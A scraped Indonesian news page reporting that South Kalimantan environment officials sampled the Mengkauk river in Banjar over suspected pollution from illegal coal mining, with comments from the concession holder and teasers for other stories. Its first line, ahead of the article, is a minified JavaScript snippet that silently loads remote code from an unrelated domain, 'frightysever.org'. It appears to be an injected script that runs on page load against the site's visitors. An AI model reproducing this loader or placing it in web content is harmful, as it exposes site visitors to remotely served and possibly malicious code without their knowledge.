(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Aktivitas pertambangan tanpa izin (Peti) di wilayah desa Remo, Kecamatan Peramasan, Kabupaten Banjar diduga mencemari aliran sungai Mengkauk.
Adanya dugaan tersebut membuat Dinas Lingkungan Hidup (DLH) Provinsi Kalsel langsung turun lapangan mengambil sampel air di sungai Mengkauk, guna mengetahui tingkat pencemaran air.
Pengambilan sampel air sungai ini dilakukan langsung Kepala DLH Provinsi Kalsel Hanifah Dwi Nirwana didampingi Kepala DLH Kabupaten Banjar Boyke W Tristiyanto, serta perwakilan PT Antang Gunung Meratus.
Hanifah Dwi Nirwana mengatakan, Dinas Lingkungan Hidup Kalsel turun ke lapangan untuk mengetahui dampak dugaan pertambangan tanpa izin (Peti) batu bara di lokasi tersebut.
Ada tiga titik lokasi yang diambil sampel airnya, di bagian hulu sungai, tengah dan di dekat permukiman warga. Untuk kemudian sampel-sampel tersebut dibawa ke laboratorium untuk diuji.
“Nanti jika hasil pengujian sampel air menunjukan telah terjadi pencemaran, maka akan diambil langkah yang tegas sesuai aturan dan perundangan yang berlaku,” tegasnya, Selasa (29/12/2020).
Untuk penanganan pertambangan liar atau illegal mining, ujar Hanifah, pihaknya akan bekerja sama dengan DLH Kabupaten Banjar, Balai Wilayah Sungai (BWS) Kalimantan II.
Selanjutnya melakukan koordinasi dengan PT Antang Gunung Meratus sebagai pemilik konsesi pertambangan, dan dengan semua pemangku kepentingan (stakeholder) serta Kementerian ESDM.
“Persoalan ini harus segera diambil tindakan nyata untuk menyelamatkan lingkungan, jika terbukti merusak lingkungan dan pencemaran air,” tandasnya.
Sementara itu, perwakilan dari PT Antang Gunung Meratus, Suhardi mengatakan, sebagai pemilik konsesi pertambangan di wilayah Remo, pihaknya sudah melakukan pelaporan ke Polres Banjar terkait dugaan pertambangan liar atau Peti.
“Informasi di Polres berdasarkan penyampaian surat bahwa dugaan aktivitas tersebut masih dalam tahap penyelidikan oleh tim penyidik Polres Banjar,” ungkap Suhardi.
Pihaknya juga sudah menyerahkan bukti dan terus mengumpulkan bukti tambahan. Selain itu tim penyidik Tipikor sudah menyampaikan sudah melakukan pemanggilan dua kali terhadap pihak yang diduga melakukan Peti.
Suhardi menduga, aliran sungai yang berada di desa Remo ini diperkirakan tercemar akibat pertambangan lilar. Aliran air dari Peti tersebut diduga langsung mengalir ke sungai yang ada di desa Remo. Perambangan tanpa izin ini selalu berpindah tempat, namun di lokasi yang ada ini masih terlihat penumpukan batu bara. Hal ini menjadi salah satu bukti masih ada peti terjadi di lokasi konsesi milik PT Antang Gunung Meratus. (kanalkalimantan.com/bie)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.